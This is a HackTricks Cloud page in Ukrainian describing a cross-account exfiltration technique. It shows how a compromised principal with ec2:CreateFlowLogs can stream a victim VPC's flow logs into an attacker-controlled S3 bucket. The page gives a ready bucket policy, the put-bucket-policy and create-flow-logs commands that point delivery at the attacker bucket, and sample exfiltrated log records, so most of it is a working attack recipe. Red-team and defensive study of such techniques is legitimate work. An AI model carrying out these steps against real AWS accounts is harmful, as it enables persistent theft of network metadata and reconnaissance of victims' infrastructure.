AWS - VPC Flow Logs Cross-Account Exfiltration to S3
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Резюме
Зловживати ec2:CreateFlowLogs для експорту VPC, subnet або ENI flow logs безпосередньо в S3 bucket, який контролюється зловмисником. Коли роль доставки налаштована на запис у зовнішній bucket, кожне з'єднання, зафіксоване на моніторованому ресурсі, потоково виводиться з облікового запису жертви.
Вимоги
- Жертва (principal):
ec2:CreateFlowLogs,ec2:DescribeFlowLogs, таiam:PassRole(якщо роль доставки потрібна/створюється). - Attacker bucket: політика S3, яка довіряє
delivery.logs.amazonaws.comз правамиs3:PutObjectтаbucket-owner-full-control. - Опціонально:
logs:DescribeLogGroups, якщо експортуєте в CloudWatch замість S3 (не потрібно тут).
Хід атаки
- Зловмисник готує політику для S3 bucket (в акаунті зловмисника), яка дозволяє службі доставки VPC Flow Logs записувати об'єкти. Замініть заповнювачі перед застосуванням:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVPCFlowLogsDelivery",
"Effect": "Allow",
"Principal": { "Service": "delivery.logs.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
"Condition": {
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
}
}
]
}
Застосувати з облікового запису нападника:
aws s3api put-bucket-policy \
--bucket <attacker-bucket> \
--policy file://flowlogs-policy.json
- Victim (compromised principal) створює flow logs, спрямовані на attacker bucket:
REGION=us-east-1
VPC_ID=<vpc-xxxxxxxx>
ROLE_ARN=<delivery-role-with-logs-permissions> # Must allow delivery.logs.amazonaws.com to assume it
aws ec2 create-flow-logs \
--resource-type VPC \
--resource-ids "$VPC_ID" \
--traffic-type ALL \
--log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
--deliver-logs-permission-arn "$ROLE_ARN" \
--region "$REGION"
За кілька хвилин у attacker bucket з'являються flow log files, що містять з'єднання для всіх ENIs у монітореному VPC/subnet.
Докази
Приклад записів flow log, записаних у attacker bucket:
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
Доказ переліку Bucket:
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
Вплив
- Постійна ексфільтрація мережевих метаданих (source/destination IPs, ports, protocols) для моніторованого VPC/subnet/ENI.
- Дозволяє виконувати аналіз трафіку, ідентифікацію конфіденційних сервісів та потенційний пошук security group misconfigurations ззовні облікового запису жертви.
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud